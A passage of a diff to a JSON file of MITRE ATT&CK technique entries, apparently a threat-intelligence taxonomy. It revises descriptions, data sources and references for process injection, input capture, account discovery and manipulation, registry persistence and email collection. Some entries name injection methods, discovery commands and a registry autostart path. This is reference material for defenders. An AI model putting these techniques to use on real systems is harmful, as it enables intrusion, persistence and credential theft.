target. \n\nGuardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nEnvironmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.", + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "meta": { "external_id": "T1480", "kill_chain": [ @@ -9586,20 +17568,14 @@ "refs": [ "https://attack.mitre.org/techniques/T1480", "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/", - "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", - "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", - "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", - "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", - "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js" + "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html" ] }, "uuid": "853c4192-4311-43e1-bfbb-b11b14911852", "value": "Execution Guardrails - T1480" }, { - "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", + "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", "meta": { "external_id": "CAPEC-640", "kill_chain": [ @@ -9608,7 +17584,6 @@ ], "mitre_data_sources": [ "API monitoring", - "Windows Registry", "File monitoring", "DLL monitoring", "Process monitoring", @@ -9623,38 +17598,34 @@ "https://attack.mitre.org/techniques/T1055", "https://capec.mitre.org/data/definitions/640.html", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.endgame.com/blog/technical-blog/hunting-memory", - "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", - "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", - "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", - "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "https://www.datawire.io/code-injection-on-linux-and-macos/", - "http://hick.org/code/skape/papers/needle.txt", - "http://phrack.org/issues/51/8.html", - "http://vxer.org/lib/vrn00.html", "https://www.gnu.org/software/acct/", - "https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "https://docs.microsoft.com/sysinternals/downloads/sysmon", - "https://github.com/mattifestation/PowerSploit" + "https://docs.microsoft.com/sysinternals/downloads/sysmon" ] }, "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "value": "Process Injection - T1055" }, { - "description": "Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)", + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "meta": { - "external_id": "CAPEC-568", + "external_id": "CAPEC-569", "kill_chain": [ "mitre-attack:collection", "mitre-attack:credential-access" ], "mitre_data_sources": [ "Windows Registry", - "Kernel drivers", + "Windows event logs", + "User interface", + "Process command-line parameters", "Process monitoring", + "PowerShell logs", + "Loaded DLLs", + "Kernel drivers", + "DLL monitoring", + "Binary file metadata", "API monitoring" ], "mitre_platforms": [ @@ -9664,23 +17635,22 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1056", - "https://capec.mitre.org/data/definitions/568.html", - "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", - "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + "https://capec.mitre.org/data/definitions/569.html", + "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" ] }, "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", "value": "Input Capture - T1056" }, { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nAn example command that would obtain details on processes is \"tasklist\" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.\n\n### Mac and Linux\n\nIn Mac and Linux, this is accomplished with the ps command.", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.", "meta": { "external_id": "CAPEC-573", "kill_chain": [ "mitre-attack:discovery" ], "mitre_data_sources": [ + "API monitoring", "Process monitoring", "Process command-line parameters" ], @@ -9698,9 +17668,9 @@ "value": "Process Discovery - T1057" }, { - "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)", + "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.", "meta": { - "external_id": "CAPEC-575", + "external_id": "T1087", "kill_chain": [ "mitre-attack:discovery" ], @@ -9716,24 +17686,21 @@ "macOS", "Windows", "Office 365", - "Azure AD" + "Azure AD", + "AWS", + "GCP", + "Azure", + "SaaS" ], "refs": [ - "https://attack.mitre.org/techniques/T1087", - "https://capec.mitre.org/data/definitions/575.html", - "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0", - "https://github.com/True-Demon/raindance", - "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", - "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/", - "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist", - "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + "https://attack.mitre.org/techniques/T1087" ] }, "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", "value": "Account Discovery - T1087" }, { - "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nAccounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nDefault accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", "meta": { "external_id": "CAPEC-560", "kill_chain": [ @@ -9756,13 +17723,12 @@ "GCP", "Azure", "SaaS", - "Office 365" + "Office 365", + "Azure AD" ], "refs": [ "https://attack.mitre.org/techniques/T1078", "https://capec.mitre.org/data/definitions/560.html", - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", - "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", "https://technet.microsoft.com/en-us/library/dn535501.aspx", "https://technet.microsoft.com/en-us/library/dn487457.aspx" ] @@ -9774,20 +17740,6 @@ "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "meta": { "external_id": "T1079", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1079", "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", @@ -9796,22 +17748,28 @@ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, + "related": [ + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", "value": "Multilayer Encryption - T1079" }, { - "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\n### Exchange Email Account Takeover\n\nThe Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\n\n### Azure AD\n\nIn Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)\n\n### AWS\n\nAWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)", + "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "meta": { "external_id": "T1098", "kill_chain": [ - "mitre-attack:credential-access", "mitre-attack:persistence" ], "mitre_data_sources": [ "Authentication logs", - "API monitoring", - "Windows event logs", - "Packet capture" + "Windows event logs" ], "mitre_platforms": [ "Windows", @@ -9819,15 +17777,14 @@ "Azure", "GCP", "Azure AD", - "AWS" + "AWS", + "Linux", + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1098", - "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps", - "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365", - "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1", - "https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670", "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", "https://github.com/gentilkiwi/mimikatz/issues/92" ] @@ -9836,7 +17793,7 @@ "value": "Account Manipulation - T1098" }, { - "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.", + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.", "meta": { "external_id": "CAPEC-203", "kill_chain": [ @@ -9871,17 +17828,6 @@ "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", "meta": { "external_id": "T1131", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1131", "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", @@ -9889,11 +17835,20 @@ "https://technet.microsoft.com/en-us/library/dn408187.aspx" ] }, + "related": [ + { + "dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", "value": "Authentication Package - T1131" }, { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n### Mac\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n### Linux\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n", "meta": { "external_id": "CAPEC-648", "kill_chain": [ @@ -9912,6 +17867,7 @@ "refs": [ "https://attack.mitre.org/techniques/T1113", "https://capec.mitre.org/data/definitions/648.html", + "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ] }, @@ -9942,7 +17898,7 @@ "value": "Dynamic DNS - T1311" }, { - "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017)\n\n### Email Forwarding Rule\n\nAdversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ", + "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ", "meta": { "external_id": "T1114", "kill_chain": [ @@ -9963,9 +17919,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1114", - "https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/", - "https://www.us-cert.gov/ncas/alerts/TA18-086A", - "https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/", "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" ] }, @@ -10007,19 +17960,6 @@ "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", "meta": { "external_id": "CAPEC-569", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "User interface", - "PowerShell logs" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1141", "https://capec.mitre.org/data/definitions/569.html", @@ -10029,11 +17969,20 @@ "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/" ] }, + "related": [ + { + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", "value": "Input Prompt - T1141" }, { - "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).", + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", "meta": { "external_id": "CAPEC-637", "kill_chain": [ @@ -10051,7 +18000,7 @@ "https://attack.mitre.org/techniques/T1115", "https://capec.mitre.org/data/definitions/637.html", "https://msdn.microsoft.com/en-us/library/ms649012", - "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/" + "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363" ] }, "uuid": 